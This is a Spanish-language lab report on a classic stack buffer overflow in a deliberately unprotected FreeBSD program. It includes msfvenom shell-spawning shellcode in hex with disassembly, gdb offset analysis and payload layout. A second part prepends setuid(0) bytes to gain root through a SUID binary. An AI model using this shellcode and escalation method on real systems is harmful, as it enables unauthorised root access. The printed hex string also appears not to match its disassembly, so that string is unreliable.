Explotación de Buffer Overflow en FreeBSD x86_64

Erik Cembreros Otero

7 de noviembre de 2025

1. Introducción

Generamos el código vuln.c disponible en el repositorio. Para compilarlo sin protecciones ejecutamos:

```
cc -fno-stack-protector -z execstack vuln.c -o vuln_root
```

Ejecutamos el código en una máquina virtual freeBSD 64bits a la que hemos quitado las protecciones de pila: stack canaries, NX bits, etc; cambiando las opciones del kernel. Se ha hecho un extra a la actividad ya que decidí probar como sería en un binario con el setuid activado y dado que no aumentaba mucho el informe he decidido incluirlo a modo de curiosidad (la parte 2).

2. Parte 1: ejecución de un shellcode

2.1. Creación del shellcode

Para ejecutar un shellcode necesitamos un shellcode, utilizamos msfvenom para generar uno válido para freeBSD (ya que las syscall cambian).

```
msfvenom -p bsd/x64/exec CMD="/bin/sh" -f hex
4831c948f7e1043b48bb2f62696e2f2f7368253545f5257545e0f05
```

Para entender qué hace este shellcode podemos utilizar un desensamblador online como `https://defuse.ca/online-x86-assembler.htm`.

1. **Preparación de registros**:

```
48 31 c9          xor    rcx, rcx       ; RCX = 0
48 f7 e1          mul    rcx            ; RAX = 0, RDX = 0
04 3b             add    al, 0x3b       ; RAX = 59 (syscall execve)
```

2. **Carga de argumentos**:

```
48 bb 2f 62 69 6e 2f 2f 73 68   movabs rbx, 0x68732f2f6e69622f ; "/bin//sh"
52                push   rdx            ; NULL terminator
53                push   rbx            ; Puntero a string
```

3. **Configuración de parámetros**:

```
54                push   rsp            ;
5f                pop    rdi            ; RDI = puntero a "/bin//sh"
52                push   rdx            ; NULL para envp
57                push   rdi            ;
54                push   rsp            ;
5e                pop    rsi            ; RSI = puntero a argv
```

4. **Ejecución**:

```
0f 05             syscall               ; execve("/bin//sh", ["/bin//sh", NULL], NULL
  )
```

2.2. Análisis del programa

El programa hace strcpy de lo que reciba por la linea de comandos y lo copia en un buffer de 64B. 64B del buffer + 8B (sfp) + 8B (RET) = 80B en principio con 80 As debería desbordar pero no es así, no es hasta 88 As que conseguimos el SIGFAULT.

Ahora debemos crear un programa que nos cree un payload, en nuestro caso utilizaremos python. Este primer programa simplemente manda un monton de letras de la A a la Z para facilitar en analisis en gdb. El programa crea un payload.bin que luego podemos pasar por parámetro al programa en gdb con:

```
run $(cat payload.bin)$
```

para conseguir llegar a un punto donde pueda observar la pila pongo un breakpoint en la llamda a strcpy y hago next. La ejecución se para justo después de haber copiado en el buffer (y más allá) el payload. De esta forma podemos ver que realmente la dirección de retorno está a 88B del inicio del buffer (esto es cuestión de como gestiona los espacios de la pila CLang en contraposición con GCC).

```
Dump of assembler code for function function:
   0x00000000002016f0 <+0>: push   %rbp
   0x00000000002016f1 <+1>: mov    %rsp,%rbp
   0x00000000002016f4 <+4>: sub    $0x50,%rsp    # Reserva 80 bytes (0x50)
   0x00000000002016f8 <+8>: mov    %rdi,-0x8(%rbp)
   0x00000000002016fc <+12>:    lea    -0x50(%rbp),%rdi # Buffer en RDI
   0x0000000000201700 <+16>:    mov    -0x8(%rbp),%rsi # Input en RSI
   0x0000000000201704 <+20>:    call   0x2017f0 <strcpy@plt>
=> 0x0000000000201709 <+25>:    add    $0x50,%rsp
   0x000000000020170d <+29>:    pop    %rbp
   0x000000000020170e <+30>:    ret
```

Desensamblando la función vulnerable`function()` donde ocurre el desbordamiento podemos ver que el tamaño reservado del buffer es 80 bytes (0x50). Esto puede ser porque deje espacio para la dirección que pasamos por parámetro además.

Ejecutamos:

```
x/20gx \$rsp
```

para ver 20 palabras a partir del stack pointer e info frame para cerciorarnos de la dirección de retorno

```
0x7fffffffd950: 0x4141414141414141  0x4141414141414141  # Buffer
[...]
0x7fffffffd9a0: 0x4141414141414141  0x0000000000201700  # RBP | RET
0x7fffffffd9b0: 0x00007fffffffda48  0x0000000000000002
```

```
Stack level 0, frame at 0x7fffffffd9b0:
 rip = 0x201709 in function; saved rip = 0x201700
 called by frame at 0x4141414141414151
 Arglist at 0x7fffffffd9a0, args:
 Locals at 0x7fffffffd9a0
 Saved registers:
  rbp at 0x7fffffffd9a0, rip at 0x7fffffffd9a8
```

Con esta información ahora podemos crear el payload, gracias a ver la pila podemos ver hasta donde han llegado nuestras As (justo hasta el RET) por lo que:

2.3. Creación del payload

- **Tamaño del payload**: 88 bytes hasta el RIP, 96B en total

- **Dirección objetivo**: Sobrescribir `0x201700`
- **Partes:**
  - NOP sledge de 16B
  - Shellcode que spawnee una shell
  - Padding hasta llegar a los 88B
  - Nuevo return adress, el principio de la pila. En nuestro caso 0x7fffffffd950

Si nos acercamos mucho al return adress en la pila con el shellcode hay un punto donde pese a tener en teoría la pila permisos de ejecución no nos va a dejar ejecutarla. Por lo que no podemos hacer un NOP sledge demasiado grande. Con esto en cuenta creamos exploit.py y... no funciona. Las direcciones cambian entre gdb y una ejecución normal así que haremos unos ajustes para que pruebe con varias direcciones cercanas a las que encontramos en gdb. En nuestro caso indicamos que empiece en 0x7fffffffd900 hasta 0x7fffffffda00 en cuanto una de las direcciones funcione simplemente nos aparecerá la shell y nos indicará cuál es la dirección de retorno que ha funcionado. Este programa es: exploit_iterative1.py

3. Parte 2. aprovechar que el programa tiene SUID activado

Preparación (creamos un binario a parte para mayor claridad):

- cp vuln vuln_root
- sudo chown root:wheel vuln_root
- sudo chmod u+s vuln_root

El bit SUID hace que el user id sea el del propietario del binario durante su ejecución eso hace que el efective user id (son dos cosas diferentes siendo la importante la última) pueda ser o bien el original del usuario o el del propietario. Para cambiar este efective user id usamos setuid (sycall numero 0x17 en freeBSD).

El concepto es el mismo, realmente solo necesitamos hacer setuid al principio del shellcode, para ello diseñamos este añadido:

```
1     # setuid(0)
2     b"\x48\x31\xff"      # xor rdi, rdi
3     b"\x48\x31\xc0"      # xor rax, rax
4     b"\xb0\x17"          # mov al, 0x17
5     b"\x0f\x05"          # syscall
```

En nuestro caso hemos partido de que sabemos que el propietario es root por lo que el uid es 0, así nos ahorramos hacer getuid aunque no sería nada complejo.

Y para ejecutar este codigo hemos creado explot_iterative2.py donde se modifica el shellcode y ejecuta el binario con SUID activado. Al ejecutarlo hacemos whoami y vemos que somos root.

4. Repositorio

`https://github.com/ecembo00/buffer_overflow`